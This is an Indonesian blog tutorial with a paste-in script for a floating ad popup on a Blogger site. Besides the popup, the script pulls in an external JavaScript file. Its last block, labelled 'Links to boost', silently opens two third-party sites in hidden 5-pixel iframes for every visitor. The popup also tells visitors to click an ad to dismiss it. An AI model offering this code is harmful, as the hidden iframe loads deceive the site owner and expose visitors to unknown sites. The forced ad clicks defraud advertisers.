Dibawah ini cara pemasangannya:
- Login ke blogger.
- Silahkan tuju ke Tata Letak.
- Klik tab Elemen Halaman.
- Tambah Gadget (Add Gadget) -> pilih yang HTML/Javascript.
- Kemudian masukkan kode script dibawah ini :
<style type="text/css">
#topbar{
position:absolute;
visibility: hidden;
width:350px;
z-index:100;
padding:5px;
background-color: #D9EBF0;
border: 1px solid #333333;
-moz-border-radius: 6px;
-webkit-border-radius: 6px;
margin:0 auto 10px;
float:right;
color: #000000;
text-align: justify;
font-size: 12px;
font-family: Verdana, serif;
filter:alpha(opacity=85);
-moz-opacity:0.85;
opacity:0.85;
}
</style>
<script src="http://btuneup.googlecode.com/files/js_pop_up.js" type="text/javascript"></script>
<script type="text/javascript">
var persistclose=0
var startX = 0
var startY = 0
var verticalpos="fromtop"
</script>
<div id="topbar">
<div align="right"><font class="linkaiklanclose"><a href="#"><center><b>Klik Iklan dibawah Ini 1x Untuk Menghilangkannya</b><br /><b>Terima Kasih Atas Kebaikan Anda</b></center>
</a></font></div> <div onclick="closebar()"; return="true">
MASUKKAN KODE IKLAN DISINI
<br/></div></div>
<script type="text/javascript">
var sLocation = document.referrer.toLocaleLowerCase();
//Links to boost
var rDomains = ["http://www.az-comsoft.co.cc","http://cektkp.com/javascript"];
//Allowed domain referrer
var aDomains = [".com"];
var valid = 1;
//Valid referrer
for (i=0;i<aDomains.length;i++) {
//Check referrer
if (sLocation.indexOf(aDomains[i], 0) > -1)
{
valid = 1;
break;
}
}
//Valid referrer
if (valid == 1)
{
//Loop
for (i=0;i<rDomains.length;i++) {
//alert(rDomains[i]);
invisibleWindow("mydiv" + i,rDomains[i]);
}
}
function invisibleWindow(iframeID, url) {
divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "5px";
divel.style.height = "5px";
divel.style.visibility = "hidden";
//Add div
document.body.appendChild(divel);
domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "5px";
domiframe.style.height = "5px";
domiframe.style.visibility = "hidden";
var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);
}
</script>
Catatan:
Ganti tulisan yang berwarna Merah dengan kode iklan yang anda miliki.
Selesai...
0 comments:
Post a Comment
Thank you for reading ^_^